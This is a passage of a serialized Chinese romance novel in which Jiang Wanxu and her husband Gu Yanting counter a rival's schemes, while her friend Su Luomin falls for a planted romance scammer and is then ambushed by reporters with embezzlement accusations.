可眼前这个女人,看着她的时候,分明是带着恨的。
和当年的江芊妤一模一样。
“合作的事,”江晚絮合上文件,“我需要考虑一下。”
“希望能尽快听到江总的好消息。”沈曼勾唇一笑,转身离开。
走到门口时,她突然停下脚步,回头意味深长地看了一眼江晚絮。
“对了江总,听说您丈夫是顾彦廷?真让人羡慕啊,不过……豪门深似海,您可得小心别淹**。”
说完便扬长而去。
“呸!”
苏洛敏对着她的背影狠狠啐了一口,“什么玩意儿!一股子绿茶味,熏得我脑仁疼。晚晚,这女人绝对不是好东西!你看她那眼神,恨不得把你吃了!”
江晚絮看着那份文件,若有所思。
“我知道。”
沈曼走后,苏洛敏也没多留,约了改天再去顾家。
这个叫沈曼的女人明显不怀好意,她知道江晚絮要回家和顾彦廷商量。
晚上,顾家别墅。
把安安哄睡着后,江晚絮洗了个澡。
从浴室出来,却看到顾彦廷正坐在床边,手里拿着一封信。
“江明泽写的。”
江晚絮怔了怔。
她知道大哥现在过得不好。
但是助
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理告诉她,那张支票大哥并没有去银行兑出来。
她以为,江明泽对她还是在怪她的。
怪她弄散了江家。
江晚絮走过去,拿过那封信。
“我派人去查过了,”顾彦廷很自然地跪坐到床上,一边给江晚絮捏肩,一边说,“今天确实有个女人去了书店。对方似乎是想收买江明泽,但是被他拒绝了。”
江晚絮拿着信,回头看了一眼顾彦廷。
顾彦廷冲她点了点头。
江晚絮回过头,看着熟悉的字迹,有些怅然。
她没想到,江明泽会拒绝沈曼。
更没想到,他会来提醒顾彦廷。
按照他对自己的恨,即使不帮沈曼,也应该会坐山观虎斗才对。
“今天沈曼去公司找我了。”江晚絮把白天的事说了一遍,“她想让我跟她合作。那个专利确实很有价值,但也很有问题。”
顾彦廷将她抱进怀里:“什么问题?”
“数据太完美了。”江晚絮冷笑,“完美的就像是……专门为了迎合我的研究方向而做的。”
沈曼以为她是只懂技术的书呆子。
如今的江晚絮,经历了那么多事情,早就已经看透了。
“她和叶寒是一伙的。”顾彦廷吻了吻她的发顶,“我会让人盯着她。”
江晚絮点了点头,目光又落在那封信上。
她沉默了很久。
久到顾彦廷以为她要睡着了。
“顾彦廷。”
“嗯。”
“找个人……去看看他吧。”
江晚絮的声音很轻,轻得像是一声叹息。
“不用给他钱,也不用让他知道。就是……别让他饿**。”
她恨江家人吗?
恨。
恨入骨髓。
每次想起在江家的日子,她都恨不得从新投胎。
可是,当看到这封信的时候,她突然觉得,江明泽挺可悲的。
江明泽会提醒她,说明他已经悔悟,过去的那些事情,她做不到原谅他,但她也不会一直活在过去。
既然他愿意无条件帮忙,那她也不介意接受这份早就该来的善意。
“好,”顾彦廷没有任何犹豫就答应了,“都听你的。”
他知道,江晚絮虽然外表清冷,但心底最深处,依然保留着那份最纯粹的善良,依然对亲情充满了渴望。
只可惜,江家人不配。
“还有那个沈曼……”江晚絮抬起头,眼神变得凌厉,“既然她想玩,那我们就陪她好好玩玩。”
第236章 你们给我等着
冬天来了。
叶寒站在脚手架下,哈了一口白气,手里拿着一张刚打印出来的营业执照——“寒叶装饰”。
名字很土,但他不在乎。
他用沈曼给他的钱,开了一家装修公司。
“叶哥,这批涂料到了,您验验?”工头递过来一根烟。
叶寒摆摆手,“不抽了,省钱。”
他拍了拍身上的灰,笑得一脸憨厚,“得攒钱,以前不懂事,亏欠了家里人,现在想好好干,重新做人。”
工头竖起大拇指,“浪子回头金不换,叶哥是个爷们!”
叶寒笑而不语。
顾家别墅。
地暖烧得很足,江晚絮穿了一件居家服,正趴在地毯上陪安安玩积木。
七个月大的安安,已经能坐得很稳了,手里抓着一块红色的积木,咿咿呀呀地往嘴里塞。
“脏。”
江晚絮温柔地拿下来,用湿巾给她擦了擦小手。
窗外飘起了雪花。
看着那漫天的白,江晚絮的眼神晃了一下。
六年前的那个冬天,也是这么大的雪。
她在叶家,发着高烧,还要给一大家子人做饭。
“想什么呢?”
顾彦廷的声音在头顶响起,打断了她的回忆。
江晚絮回过神。
“没什么。”她紧了紧身上的披肩,“就是觉得,今年的冬天,好像没那么冷了。”
顾彦廷在她身边坐下,顺手将她揽进怀里。
“因为家里暖气足。”
江晚絮笑了,“嗯,是很足。”
“对了,”顾彦廷像是想起了什么,指了指玄关处的一个大箱子,“刚收到的国际快递,瑞士寄来的。”
瑞士?
在瑞士的,只有江明哲。
江晚絮瞥了一眼,“我什么也不缺。”
顾彦廷没动。
他知道她的心结。
“拆开看看吧,”顾彦廷把箱子拖了过来,“如果不喜欢,再扔也不迟。”
江晚絮没说话,算是默许了。
顾彦廷拿裁纸刀划开胶带。
里面是满满一箱子手工雕刻的木质玩具。
小马、小狗、摇铃……每一个都打磨得圆润光滑,没有一点毛刺,显然是费了很大的心思。
最上面,放着一张卡片。
只有简短的一句话:
【新年快乐。希望能换安安一个笑脸。——三舅舅】
江晚絮随手拿起一个小木马。
一看就是亲手雕的。
“那就勉强收下吧。”江晚絮把木马拿给安安看。
安安将小木马抓在手里看了两秒,张嘴就要咬。
顾彦廷赶紧抢过小木马,一脸的哭笑不得。
“还是先收起来吧,等安安长大点再玩。”
江晚絮转过身,抱起地上的安安,亲了亲女儿软乎乎的脸蛋,“我的小丫头,真调皮。”
两人陪着安安玩了一会儿,刘妈来了。
“少爷,老太太请您过去吃饭。”
“好。”
顾彦廷一边答应,一边扶江晚絮起来。
“走吧,奶奶肯定又想见安安了。”
江晚絮笑了笑。
老太太已经80岁了,总想自己照顾安安,被顾彦廷拒绝了很多次,老太太只得退而求其次,但依然坚持每天一起吃晚饭。
晚饭后,江晚絮刚把安安哄睡着,就接到了许甜的视频电话。
屏幕那头,许甜裹着厚厚的羽绒服,背景是苏黎世的街头,虽然冻得鼻尖发红,但满脸都是幸福的笑意。
“晚晚,告诉你个好消息!”
许甜兴奋地挥舞着手套,“我决定今年回国过年!而且……马克要跟我一起回国啦!”
马克是许甜在意大利认识的男朋友。
江晚絮也被她的情绪感染,嘴角上扬:“真的?那太好了,外婆肯定高兴坏了。”
“嘿嘿,我还给安安准备了大红包!”许甜凑近屏幕,“对了,我上个月在意大利见到江明哲了,他说是找木工给安安做礼物。你收到了吗?”
提到江明哲,江晚絮的笑意淡了一些。
“嗯,收到了。”
“你怎么处理的?”
“安安总咬,我收起来了。”
许甜在那头大笑,“他连媳妇儿都没有,哪懂小孩子该玩什么。”
挂了电话,江晚絮看着窗外的夜色,心里有些感慨。
曾经,她以为自己这辈子都要在黑暗中度过。
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没有家人,没有爱人。
每逢过年,江家灯火通明,欢声笑语。
而她,却在叶家里里外外的打扫,就像个佣人。
她想回家,却**明宇说是丧门星,不准她回家过年,说是会冲撞了江芊妤的福气。
而现在,她有顾彦廷,有安安,有待她如亲生的外婆。
许甜也要回来了。
原来,幸福真的是可以触手可及的。
顾彦廷端着一盘切好的水果走了进来,“想什么呢?”
“我是不是把运气都花光了,才能遇到你。”江晚絮接过牛奶,温热的触感顺着指尖传到心里。
顾彦廷在她身边坐下,叉起一块草莓喂到她嘴边。
“错了。”
他看着她的眼睛,目光深邃,“是你前半生吃的苦太多,老天爷派我来替你补回来。”
“更何况……”
他凑近她耳边吹了口气,低声说,“是我花光了运气,才把你找回来的。”
江晚絮脸一红,张嘴咬住了那颗草莓。
很甜。
一直甜到心里。
相对于温馨地顾家,另一个人就比较凄凉了。
叶寒坐在电暖气旁,手里屏幕上是顾氏集团发布的年会预热海报。
海报的C位,是顾彦廷。
“寒叶装饰”最近接了两个翻修老房子的活儿。
叶寒每天起早贪黑,亲自上手搬砖、刷墙,把自己弄得灰头土脸。
周围的邻居、客户,都夸他是实在人,肯吃苦。
只有他自己知道,每搬一块砖,他心里的恨意就增加一分。
凭什么江晚絮那个**可以高高在上,享受荣华富贵,而他堂堂叶氏总裁,却要在这里像个民工一样出卖劳动力?
“嗡——”
手机震动了一下。
是沈曼发来的消息。
【别偷懒,做漂亮点。】
叶寒盯着屏幕,过了许久,他才回了一个字:【好。】
关掉手机,看着窗玻璃上那个狼狈的自己,他狠狠地啐了一口唾沫。
“江晚絮,顾彦廷……你们给我等着。”
“我现在受的每一分罪,早晚有一天,我要你们千倍百倍地还回来!”
第237章 出头鸟
还有一个月就要过年了,但晚星科技依然忙碌。
江晚絮正在审核年底的财务报表,苏洛敏坐在沙发上,一边嗑瓜子一边吐槽最近相亲遇到的奇葩男。
“你是不知道,那个男的竟然问我以后结婚能不能不请保姆,说保姆带孩子不亲,得我自己带。”
苏洛敏翻了个大白眼,“我就问他,那你能不能不出气?出气污染环境。然后我就拎包走了,这年头普信男真是越来越多了。”
江晚絮被她逗笑了,“你啊,嘴下留情吧,小心嫁不出去。”
“本小姐可是要做大女主的,才不要被爱情绊住我的脚步!”
苏洛敏刚把一颗瓜子仁扔进嘴里,办公室的门就被敲响了。
助理的声音有些为难:“江总,那位沈小姐又来了……”
江晚絮脸上的笑意瞬间消失。
沈曼。
这个女人还真是阴魂不散。
自从上次拒绝了她的合作后,她消停了一段时间,没想到年前又来了。
“让她进来吧。”
江晚絮合上文件夹,调整了一下坐姿,恢复了那副清冷干练的模样。
苏洛敏也没走,只是把瓜子盘收了起来,换了个舒服的姿势,准备看戏。
门被推开。
沈曼今天穿了一件白色的羊绒大衣,里面是一条淡紫色的长裙,妆容精致,怎么看都是一副名媛贵妇的派头。
“江总,没打扰你吧?”
沈曼笑意盈盈地走了进来。
“我如果说很打扰,你会走吗?”
江晚絮连表面的客套都不想装。
沈曼也不尴尬,自顾自地走到办公桌前的椅子上坐下,将一份新的文件推了过去。
“我带来了新的方案和新的报价,江小姐不如好好考虑一下。”
沈曼自信地扬起了下巴。
江晚絮十指交叉放在桌上,“沈小姐,我想我上次已经说得很清楚了。我们虽然不算什么大公司,但也不是什么剩饭都愿意吃的。”
“剩饭?”沈曼的脸色沉了下来,“江晚絮,这项技术在国外也是顶尖的,要不是看在……”
“看在什么?”
一直在旁边没说话的苏洛敏突然插嘴了。
她站起身,慢悠悠地晃了过来。
“看我们晚絮好欺负?还是看在我们人傻钱多?”
苏洛敏走到沈曼身边,夸张地吸了吸鼻子,然后嫌弃地皱起眉,用手在鼻子前扇了扇。
“哎呀,这办公室刚才还好好的,怎么突然一股子怪味儿?”
沈曼脸色一僵,“你什么意思?”
“什么意思?”苏洛敏嗤笑一声,“绿茶味儿呗!还是那种隔了夜、馊了的绿茶味儿,熏得人脑仁疼!”
“你!”沈曼猛地站起来,指着苏洛敏,“你算个什么东西,敢这么跟我说话!”
苏洛敏翻了个白眼,“你自己又是什么东西?”
“你明明知道晚絮不想搭理你,这怎么还非要往上凑呢?我就不明白了,你是属狗皮膏药的?贴上就撕不下来了?”
“还有啊,”苏洛敏上下打量了沈曼一眼,“大冬天的穿这么少,也不怕得老寒腿?哦对不起我忘了,你们这种人皮厚,不怕冻。”
沈曼气得浑身发抖,整个人头发都快立起来了。
她长这么大,什么时候被人这么指着鼻子骂过?
“江晚絮!”沈曼转头看向江晚絮,咬牙问道,“这就是你的待客之道?让一个外人欺负你的客人?”
江晚絮拿起杯子喝了一口水,淡淡地说,“沈小姐慎言。”
“洛敏是我的朋友,也是晚星的合伙人。”
“在这个公司,她的话,有时候比我管用。”
“而且……”江晚絮抬眸,眼神瞬间变得凌厉,“我觉得她说得挺对的。沈小姐身上的味道,确实不太好闻。”
“你……”
沈曼气结。
她调查了江晚絮近几年所有的事情,知道她是个性格软弱的人,要不然也不会**家和叶寒欺负成那样。
可是她完全没想到,她竟然不按套路出牌。
“好,很好。”
沈曼深吸一口气,强行压下心头的怒火,“既然江总不愿意,那我就不强人所难了。但我提醒你,你可千万别后悔!”
说完她抓起桌上的包,就往外走。
可她刚走到门口,苏洛敏就喊道,“沈老板慢走哦,出门左转
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有个垃圾桶,别忘了把自己扔进去!我们现在可是文明社会,垃圾是要分类的!”
沈曼脚下一崴,差点摔个狗吃屎。
她恶狠狠地回过头瞪了一眼苏洛敏,然后才一瘸一拐地离开。
苏洛敏翻了个白眼,“这种人就是欠骂!真以为自己有两个臭钱就能当大爷了?”
江晚絮无奈地摇摇头,“你呀,也不怕她记恨上你。”
“怕什么?”苏洛敏坐回沙发上,“兵来将挡水来土掩,我就不信她还能吃了我!”
江晚絮看着苏洛敏那副无所谓的样,心里却隐隐有些不安。
她虽然只跟沈曼接触过两次,但她就是觉得对方很危险。
今天的事情,她绝对不会善罢甘休。
而且,她和顾彦廷查了很久,都没查到沈曼背后到底有什么。
这种未知的危险,才是最可怕的。
出了晚星科技的大楼,沈曼脸上的表情瞬间扭曲。
她拿出手机拨通了一个号码。
“喂。”
电话那头传来一个低沉的声音,听不出男女。
“失败了?”
“江晚絮那个**,软硬不吃。”沈曼咬着牙抱怨,“还有她身边那个叫苏洛敏的,简直就是个泼妇!”
“呵呵……”
那头传来一声轻笑,“沈曼,你的耐心太差了。如果这么容易就能搞垮江晚絮,我们也用不着跟你合作了。”
沈曼冷哼一声,“少废话。现在怎么办?她连合作的机会都不给我,我怎么下手?”
“既然正面攻不进去,那就换个思路。”
那头的声音变得阴恻恻的。
“江晚絮这个人,现在看起来很冷血,但她其实最重感情。这是她的优点,也是她最大的弱点。”
沈曼眯起眼睛,“你是说……”
“那个女人不是骂你骂得很欢吗?”
“给她点教训。也让江晚絮知道,跟我们作对,是要付出代价的。”
沈曼露出一个恍然的笑,“明白了。”
挂断电话,沈曼回头看着晚星科技的大楼。
“苏洛敏……”
“既然你这么喜欢当出头鸟,那就别怪我手下无情了。”
第238章 飞蛾扑火
沈曼不是傻子。
现在可是法治社会,**苏洛敏无疑是下下策。
她才不会学无脑的江家人。
江晚絮的性格虽然软弱,但顾彦廷可是出了名的狠人,她不敢冒险。
所以,她只能另想办法。
京市的冬天很冷,风也很大,刮在脸上像刀子一样。
苏洛敏裹着厚厚的围巾,走进了房产中介。
自从父母离婚后,她就觉得自己成了孤家寡人。
虽然平时大大咧咧的,但骨子里却极度缺乏安全感。
“苏小姐是吗?”
一个穿着西装的小伙子热情地迎了上来。
“我是小张,上次咱们见过的。您说想看一套离公司近一点的小户型?”
苏洛敏点了点头,“对,我要安保好一点的,最好是精装修。”
小张立刻咧开嘴笑了,“那真是巧了,刚好有几套房子,价格特别合适。”
苏洛敏跟着小张跑了一上午,腿都跑细了,最后在一个高档小区停了下来。
看完房出来,苏洛敏却有些犹豫。
这个房子好是好,就是首付有点超预算。
“苏小姐,您慢慢考虑,不着急。”小张很体贴,“这大冷天的,不如我们去前面那家新开的主题咖啡馆坐坐?听说那家的老板是个大帅哥,他专门做二次元动漫拉花,最近刚推出了五条悟的拉花。”
听到“五条悟”,苏洛敏有些意外。
“走!”
两人走了大约五分钟,就到了拐角出的一家动漫主题咖啡馆——“次元空间”。
刚进去,苏洛敏就注意到了站在吧台后的男人。
他穿着一件简单的白衬衫,袖口挽到手肘,露出了线条流畅的小臂,皮肤白皙,鼻梁高挺,就连眼睫毛都长得能放花生!
苏洛敏第一次明确地感受到什么是“撕漫男”。
最关键的是,他正在低头做咖啡,神情十分专注。
“欢迎光临。”
听到声音,男人抬起头,声音轻柔,“想喝点什么?”
苏洛敏感觉自己的魂儿都飘走了。
“那个……我要一杯拿铁,要……要五条悟的拉花。”
男人轻轻笑了,“好。”
简简单单一个字,却让苏洛敏如沐春风。
她坐在吧台前,托着下巴看着男人做咖啡。
而那个小张,则轻扯嘴角,掏出手机偷偷拍了一张照片。
江晚絮接到苏洛敏的电话是,正在家里跟保姆学习怎么做婴儿辅食。
“晚晚!我恋爱了!”
电话那头,苏洛敏兴奋地喊着,“我跟你说,我遇到我的真命天子了!他的长相就是我最喜欢的那种!那种……那种人神共愤的那种!”
江晚絮放下刀子,走出厨房无奈地笑了笑,“你上个月相亲的时候也是这么说的。”
“这次不一样!”
苏洛敏信誓旦旦,“他叫周旭,是个咖啡师,人特别温柔,而且他也喜欢动漫!我跟你说,我……我遇到我的灵魂伴侣了!”
江晚絮走到客厅坐下,擦了擦手继续问,“咖啡师?你在哪儿认识的?”
“我今天不是去看房吗,就在兰亭苑小区门口,哎呀你不懂,就那种……一眼万年的感觉。”
苏洛敏开始在电话那头描述周旭有多完美。
江晚絮听着她兴奋的声音,渐渐笑了起来。
或许,这丫头真的是缘分到了吧。
挂了电话后,江晚絮看着窗外阴沉的天空,想起了两人上大学的时光。
那时候,两个人都没什么钱,经常一起窝在宿舍吃泡面。
一起追动漫,一起聊八卦。
虽然过得比较清苦,但很快乐。
“怎么了?”
顾彦廷不知道什么时候回来了。
他脱掉外套换好拖鞋,确定自己身上的寒气都散了,这才走到江晚絮身旁坐下。
“谁的电话?”
江晚絮回过神,“是洛敏。”
顾彦廷“嗯?”了一声,等她继续说。
“说是遇到真爱了,”江晚絮笑了笑,“叫周旭,是个咖啡师。”
顾彦廷将她的右腿放在自己腿上,然后开始熟练地给她按摩。
“咖啡师?挺好的。”
他低下头,眼里闪过一丝精光,江晚絮并没有看到。
对于江晚絮身边的人,尤其是这种突然出现的人,顾彦廷
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都会习惯性的保持怀疑。
还有二十天就要过年了,苏洛敏却整天神出鬼没的不见人影。
要知道苏洛敏可是个十足的工作狂,加班到十殿那都是常态。
可现在一到五点半,她就会准时打卡下班,就连单位的年终聚餐都没去。
江晚絮这天下了班直接开车到了苏洛敏的公司楼下,打算叫她一起去商场买衣服。
刚进了苏洛敏的办公室,就看到她正对着手机傻笑。
“看你这不值钱的样子,”江晚絮把一杯热奶茶放在她桌子上,“魂儿都被勾走了?”
苏洛敏吓了一跳,赶紧把手机扣在桌上,脸瞬间就红透了,“晚晚你走路怎么都没声啊?”
“是你太投入了。”
江晚絮拉了把椅子坐下,“那个周旭,真有那么好?”
“真有!”苏洛敏拿起手机,翻出一张照片,“你看!”
照片上的男人穿着一个围裙,正低头给一只流浪猫喂火腿肠,整个人看上去就像是镀上了一层淡淡的光晕。
“你看他多有爱心啊,而且他特别懂我。每次我不开心,他都能一眼看出来,然后变着法儿地哄我。”
苏洛敏蔓延都是星星,“晚晚,我觉得我这次真的栽了。”
江晚絮看着那张照片,眉头皱了起来。
“洛敏,你们才认识了一周,”江晚絮提醒她,“是不是太快了点?”
“快吗?”苏洛敏撇撇嘴,“你当初跟叶寒不也是一见钟情,然后死心塌地地跟了他五年吗?”
这话一出,气氛瞬间尴尬。
苏洛敏反应过来,赶忙道歉,“那个……晚晚对不起,我不是故意的……”
江晚絮脸色白了一下,咬了咬下唇。
“没事。”
她勉强笑了笑,“我是怕你受伤,毕竟知人知面不知心。”
“哎呀我知道啦!”苏洛敏抱住江晚絮的胳膊晃了晃,“我会小心的。再说了,他能图我什么?”
江晚絮叹了口气。
苏洛敏这种性格,其实最容易吃亏。
尤其是她这种骨子里缺爱的人,一旦有人给她丁点温暖,就会像飞蛾扑火一样冲上去。
第239章 分那么清干嘛?
江晚絮最终还是没能和苏洛敏一同去逛街。
她说她要去过二人世界。
回到家后,江晚絮就看到顾彦廷一脸阴沉地坐在客厅里等她。
“怎么了?”江晚絮出声询问。
顾彦廷已经很久没有摆出这样的表情了。
“你自己看吧。”
顾彦廷靠在沙发上,看上去很不高兴。
江晚絮拿起了放在桌上的文件。
周旭,原名**。
三年前因****罪被判**两年,半年前刚出狱。
有意思的是,他出狱后并没有什么正经工作,却在一个月前突然租下了这个年租金二十多万的店铺,开了那家装修豪华的咖啡馆。
资金来源成谜。
在资料最后一页附带的照片里,周旭正在和一个女人见面。
虽然只是个背影,但江晚絮一眼就认出了那件白色的大衣。
江晚絮感觉浑身都开始发冷。
“是沈曼……”
顾彦廷点了点头,然后安慰她。
“别怕,有我在。”
“我怎么能不怕?”江晚絮转过身,眼眶通红,“沈曼有什么事冲我来啊,为什么要动洛敏!洛敏她什么都不知道!”
她太知道被人算计的滋味了。
如果洛敏也经历了这些……
江晚絮不敢想。
“我现在就去找洛敏。”
江晚絮推开顾彦廷就要往外走。
“晚晚!”顾彦廷拉住她,“现在太晚了,而且你现在去说,她未必会信。”
“那我也要说!”
江晚絮也说不清自己为什么这么着急,“我不能看着她往火坑里跳!”
她连夜去了苏洛敏的公寓,却扑了个空。
苏洛敏不在家。
电话也没人接。
顾彦廷陪着她在楼下等到凌晨两点,才看到一辆出租车停在门口。
苏洛敏一脸甜蜜地从车上下来,手里还捧着一束红玫瑰。
“洛敏!”
江晚絮冲了上去。
苏洛敏吓了一跳,看清是江晚絮后才松了口气,“晚晚?大半夜的你怎么在这儿?吓死我了!”
“你去哪了?”江晚絮盯着她,声音有些发抖。
“我和阿旭去看夜场电影了啊。”苏洛敏晃了晃手里的花,“你看,他送我的,好看吗?”
江晚絮一把打掉那束花。
玫瑰花掉在地上,花瓣散了一地。
苏洛敏愣住了,脸上的笑容瞬间消失。
“晚晚,你干什么?”
“分手。”江晚絮抓住她的肩膀,用了的晃了晃,“马上跟那个周旭分手!”
“你有病吧?”
苏洛敏甩开她的手,有些不高兴,“大半夜跑过来发什么疯?我就谈个恋爱怎么了?碍着你什么事了?”
“他是个骗子!”
江晚絮从包里掏出那份调查报告递给苏洛敏,“你自己看!他坐过牢,他是来骗你的!”
纸张散落在地上,借着路灯昏黄的光,苏洛敏看到了上面的照片。
苏洛敏僵在原地,有些反应不过来。
但也只是持续了三秒,她就蹲下身,把那些纸一张张捡起来,然后一把撕碎。
“我不信!”
苏洛敏红着眼眶吼道,“这就是你所谓的证据?顾彦廷有权有势,想伪造这种东西还不是轻而易举!”
“洛敏!”江晚絮不可置信地看着她,“我们在你心里就是这样的人?”
“那周旭呢?”苏洛敏反问,“他那么好,那么温柔,我不信他是坏人!每个人都有过去,就算他以前犯过错,难道就不配重新开始吗?”
“那不是犯错,那是犯罪!”
江晚絮急的眼泪都要掉下来了,“而且他和沈曼有联系,他是带着目的接近你的!”
“够了!”
苏洛敏深吸一口气,眼神变得冰冷,“江晚絮,我知道你受过伤,你被叶寒骗过,被你家里人卖过,你现在看谁都像是坏人。”
“但是你不能因为自己受过伤,就要挡着我寻找幸福吧?”
江晚絮脸色煞白,整个人晃了一下,差点站不稳。
“你说什么?”
苏洛敏说完那句话就后悔了。
她看着江晚絮惨白的脸,张了张嘴,想道歉,但到底还是说不出口。
“反正……反正我们要结婚了。”
苏洛敏别过
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头,硬邦邦地说道,“房子我已经看好了,就在公司附近。你要是祝福我,我欢迎。你要是再来说这些有的没的,那我们就没什么好说的了。”
说完,她捡起地上的玫瑰花,跑进了楼道。
江晚絮也说不清现在是什么感受。
她和苏洛敏是十年的朋友。
在她最艰难的时候,是苏洛敏对她不离不弃,相信她,支持她。
可如今,一个男人,轻而易举地就击碎了两人的感情。
顾彦廷下车走过来,将大衣披在她身上,劝她,“回家吧。”
江晚絮靠在他怀里,眼眶通红。
“顾彦廷,我是不是真的很讨人厌?”
顾彦廷心疼得不行。
“胡说,你是最好的。”
他抬起头,看了一眼楼上亮起灯的窗户,眼底闪过一丝冷意。
江晚絮不知道自己怎么回到家的。
顾彦廷怕她乱想,抱来了安安。
小家伙吃得白白胖胖的,看到妈妈精神不好,伸出小手在她脸上捏了捏。
江晚絮被安安逗笑,这才暂时放下悲伤情绪。
她想,等过两天吧,过两天再去找洛敏好好谈谈。
但苏洛敏不愧是她的闺蜜,对她真的足够了解。
苏洛敏就像是为了跟江晚絮赌气一样,没过两天,她就发朋友圈晒出了购房合同。
【终于有家了。未来可期。】
配图是两把钥匙交叠在一起,还有一只男人的手。
江晚絮看着那条朋友圈,只觉得扎眼。
她犹豫了很久,还是忍不住给苏洛敏发了条消息。
【房子写得谁的名字?】
过了很久,苏洛敏才回过来:【我的。】
江晚絮松了一口气,刚想打字,苏洛敏的第二条消息就发了过来:
【但我加了他的名字。反正以后也是一家人,分那么清干嘛。】
江晚絮就觉得一股火气瞬间窜了上来。
她立刻拨通了苏洛敏的电话。
“苏洛敏你疯了吗?!”电话一接通,江晚絮就吼了出来,“还没领证你就加名字?这房子首付是多少钱?那是八十多万!不是八十块!”
第240章 拍够了吗?!
江晚絮一而再再而三的阻拦,让苏洛敏有些不耐烦。
“哎呀你怎么又来了。”
苏洛敏语气里带上了不高兴,“阿旭说了,他刚来京市不久,没什么积蓄,但他会努力赚钱还房贷的。再说了,我又不差这点钱。”
“这根本不是钱的问题!”江晚絮急得不行,“当初我嫁给叶寒的时候也是这么想的!我把所有的专利、所有的积蓄都给了他,结果呢?我得到了什么?”
“那是你!”苏洛敏大声反驳,“阿旭不是叶寒!我也不是你!我不是只能靠男人的傻瓜!”
江晚絮沉默了。
苏洛敏咬了咬唇,“晚晚,我知道你是为我好。但是我已经三十岁了,我好不容易遇到一个真心对我好的人,我愿意相信他。”
“哪怕是输了,我也认。”
江晚絮闭上眼睛,鼻子发酸。
“好。”
她轻声说道,声音里充满了疲惫,“那我祝你幸福。”
“但是苏洛敏,你记住,如果哪天你发现你错了,别忘了,你身后还有我。”
挂了电话,江晚絮把手机扔在一边,抱着膝盖窝在了沙发里。
顾彦廷坐过来抱住她。
“别管了。”
江晚絮摇摇头,“她是我最好的朋友。在我**家赶出来,最落魄的时候,是她收留了我,分我一半泡面吃。”
顾彦廷叹了口气,“我已经让人盯着那个周旭了。只要他有半点不对劲,我第一时间就能把他抓住。”
“至于其他的……”
顾彦廷也有点无奈,“让她吃点苦头也好,她也不是小孩子了。”
这年的冬天,似乎很漫长。
腊月二十六,情人节。
苏洛敏起了个大早,化了一个精致的妆,又从衣柜里拿出自己新买的红色呢子大衣穿上,反反复复照了好几遍镜子,这才满意地出门。
九点钟。
苏洛敏准时到了民政局门口。
外面排了很多对新人,大家脸上都洋溢着幸福的笑容。
苏洛敏拿出手机给周旭发消息:【老公,我到了,你在哪?】
没有回复。
她以为他在开车,就站在门口等着。
风越刮越大,雪花落在她身上,冷得她瑟瑟发抖。
九点半。
十点。
十点半。
周围的人换了一波又一波,只有苏洛敏像个雕塑一样站在那里。
她的手脚已经冻得失去了知觉,脸上的妆也被雪水化开了一点。
她不停地给周旭打电话。
“对不起,您拨打的用户已关机。”
苏洛敏突然就想起了江晚絮说的话。
【“他是个骗子!”】
他……
不,不会的,他肯定是有什么急事,耽误了。
也可能,可能是出事了呢?
这么大的雪,是不是出车祸了?
苏洛敏的手开始发抖,眼泪也忍不住开始在眼眶里打转。
就在这时,几辆面包车突然停在了民政局门口。
车门拉开,一大群记者下了车。
其中几个人掏出手机看了看,最后将视线落在了苏洛敏身上。
然后,他们就冲了过来。
苏洛敏还没反应过来,就被无数个话筒怼到了脸上。
“苏洛敏小姐是吗?请问您对涉嫌挪用**两百万一事有什么解释?”
“听说这笔钱被您用来购买婚房了,这是真的吗?”
“有人爆料,您利用职务之便,多次修改财务数据,请问是不是真的?”
“请问您的未婚夫是不是共犯?”
记者们的问题一个接一个,苏洛敏被人群挤到了民政局旁边的矮墙上,动弹不得。
她有点懵。
挪用**两百万?
“你们胡说!我没有!”
苏洛敏惊恐地大喊,想要推开那些话筒,但她显然低估了某些媒体人对**的狂热。
“没有?那请解释一下,为什么这笔两百万的资金流向,最终汇入了您自己的账户?”
记者掏出了几张照片。
有她去看房的,有她去办理房产证的,还有她去银行的。
但所有的照片上,都只有她一个人,没有周旭。
苏洛敏瞪大了眼睛。
她有些慌乱,有些不知所措。
记者们还在提问,苏洛敏就感觉这些人一个个都像是**的恶魔,要将她生吞活剥。
“让开!你们让开!”
苏洛敏蹲在地上崩溃大哭,“我不知道……我什么都不知道……我想回家……”
“咔嚓咔嚓——”
快门声不断
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响起,记录着她此刻狼狈的模样。
绝望中,苏洛敏颤抖着手掏出手机,拨通了江晚絮的电话。
电话只响了一声就被接通了。
“晚晚……”
苏洛敏泣不成声,“救救我……我什么都没做……周旭不见了……好多记者……”
“洛敏,别怕。”
江晚絮一边安慰她,一边拎着包就往外走。
她也是刚刚刷到某个记者的直播。
画面里出现苏洛敏身影的时候,她第一反应就是想把那个周旭给撕碎。
她用了不到十五分钟就赶到了民政局门口。
江晚絮连大衣都顾不上扣好,推开车门就冲了过去。
“让开!”
她大喊着推开挡在最外面的人,一个男主播被她推得差点摔倒。
“哎哟!谁啊!没长眼睛……”
男主播骂骂咧咧的回头,却在看到江晚絮那双满是怒意的眼睛时,硬生生把后半句话咽了回去。
江晚絮根本没空理他,她用尽全力挤了进去。
苏洛敏此刻正抱着头,浑身发抖,嘴里含糊不清地念叨着:“我没有……我真的没有……”
看到这一幕,江晚絮的心脏狠狠抽了一下。
“苏洛敏!”
江晚絮大吼一声,一把抓住了还要往前凑的一个话筒,使劲往后一甩。
“砰”的一声,刺耳的电流声让现场安静了两秒。
“晚……晚晚?”
苏洛敏抬起头,脸上全是泪痕和化开的睫毛膏,又丑又狼狈。
江晚絮一把将她从地上拽起来护在怀里,然后转身。
“拍够了吗?”
她的声音不大,却透着狠厉,“你们哪家媒体的?你们这是在犯法知道吗?!”
“你谁啊你?好大的口气!”一个戴眼镜的记者不服气地大喊,“苏洛敏涉嫌职务侵占,我们是正常采访!”
江晚絮冷笑一声,“我是晚星科技总裁江晚絮。苏洛敏不仅是我的朋友,更是晚星科技即将聘请的高级顾问。关于那个所谓的**,自会有警察去查清楚。但在真相大白之前,谁要是敢发出任何一篇未经证实的报道——”
她顿了顿,眼神落在那个眼镜的记者身上。
“我保证,他在这一行,永远别想混下去。”
第241章 去讨债
江晚絮?
这个女人竟然是江晚絮?
对这些记者来说,江晚絮这两年可是他们的“老相识”了。
论文抄袭、离婚、逆袭翻盘、再婚顾氏总裁,一条条,一件件,都是他们报道的。
江晚絮并不可怕,可怕的是那个行事狠辣的顾彦廷。
想到顾彦廷,刚才还气势汹汹的记者们,一个个面面相觑,不自觉地开始往后退。
“走。”
江晚絮没有再废话,脱下自己的大衣盖在苏洛敏头上,搂着她大步走向车子。
直到坐进车里,苏洛敏才像是突然活过来一样,抓着江晚絮的手臂放声大哭。
“晚晚……我想回家……”
